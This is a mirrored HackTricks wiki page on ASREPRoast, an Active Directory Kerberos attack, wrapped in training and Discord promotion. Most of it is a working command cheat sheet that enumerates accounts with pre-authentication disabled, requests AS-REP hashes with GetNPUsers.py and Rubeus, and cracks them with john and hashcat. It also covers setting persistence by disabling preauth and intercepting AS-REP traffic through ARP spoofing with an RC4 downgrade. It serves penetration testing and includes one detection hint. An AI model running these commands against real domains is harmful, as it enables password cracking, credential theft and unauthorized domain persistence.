mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 04:23:33 +00:00
152 lines
7.3 KiB
Markdown
152 lines
7.3 KiB
Markdown
# ASREPRoast
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
|
|
|
**Hacking Insights**\
|
|
Engage with content that delves into the thrill and challenges of hacking
|
|
|
|
**Real-Time Hack News**\
|
|
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
|
|
|
**Latest Announcements**\
|
|
Stay informed with the newest bug bounties launching and crucial platform updates
|
|
|
|
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
|
|
|
## ASREPRoast
|
|
|
|
ASREPRoast is a security attack that exploits users who lack the **Kerberos pre-authentication required attribute**. Essentially, this vulnerability allows attackers to request authentication for a user from the Domain Controller (DC) without needing the user's password. The DC then responds with a message encrypted with the user's password-derived key, which attackers can attempt to crack offline to discover the user's password.
|
|
|
|
The main requirements for this attack are:
|
|
|
|
* **Lack of Kerberos pre-authentication**: Target users must not have this security feature enabled.
|
|
* **Connection to the Domain Controller (DC)**: Attackers need access to the DC to send requests and receive encrypted messages.
|
|
* **Optional domain account**: Having a domain account allows attackers to more efficiently identify vulnerable users through LDAP queries. Without such an account, attackers must guess usernames.
|
|
|
|
#### Enumerating vulnerable users (need domain credentials)
|
|
|
|
{% code title="Using Windows" %}
|
|
```bash
|
|
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
|
|
```
|
|
{% endcode %}
|
|
|
|
{% code title="Using Linux" %}
|
|
```bash
|
|
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
|
|
```
|
|
{% endcode %}
|
|
|
|
#### Request AS\_REP message
|
|
|
|
{% code title="Using Linux" %}
|
|
```bash
|
|
#Try all the usernames in usernames.txt
|
|
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
|
|
#Use domain creds to extract targets and target them
|
|
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
|
|
```
|
|
{% endcode %}
|
|
|
|
{% code title="Using Windows" %}
|
|
```bash
|
|
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
|
|
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
|
|
```
|
|
{% endcode %}
|
|
|
|
{% hint style="warning" %}
|
|
AS-REP Roasting with Rubeus will generate a 4768 with an encryption type of 0x17 and preauth type of 0.
|
|
{% endhint %}
|
|
|
|
### Cracking
|
|
|
|
```bash
|
|
john --wordlist=passwords_kerb.txt hashes.asreproast
|
|
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
|
|
```
|
|
|
|
### Persistence
|
|
|
|
Force **preauth** not required for a user where you have **GenericAll** permissions (or permissions to write properties):
|
|
|
|
{% code title="Using Windows" %}
|
|
```bash
|
|
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
|
|
```
|
|
{% endcode %}
|
|
|
|
{% code title="Using Linux" %}
|
|
```bash
|
|
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH
|
|
```
|
|
{% endcode %}
|
|
|
|
## ASREProast without credentials
|
|
|
|
An attacker can use a man-in-the-middle position to capture AS-REP packets as they traverse the network without relying on Kerberos pre-authentication being disabled. It therefore works for all users on the VLAN.\
|
|
[ASRepCatcher](https://github.com/Yaxxine7/ASRepCatcher) allows us to do so. Moreover, the tool forces client workstations to use RC4 by altering the Kerberos negotiation.
|
|
|
|
```bash
|
|
# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
|
|
ASRepCatcher relay -dc $DC_IP
|
|
|
|
# Disabling ARP spoofing, the mitm position must be obtained differently
|
|
ASRepCatcher relay -dc $DC_IP --disable-spoofing
|
|
|
|
# Passive listening of AS-REP packets, no packet alteration
|
|
ASRepCatcher listen
|
|
```
|
|
|
|
## References
|
|
|
|
* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat)
|
|
|
|
***
|
|
|
|
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
|
|
|
**Hacking Insights**\
|
|
Engage with content that delves into the thrill and challenges of hacking
|
|
|
|
**Real-Time Hack News**\
|
|
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
|
|
|
**Latest Announcements**\
|
|
Stay informed with the newest bug bounties launching and crucial platform updates
|
|
|
|
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|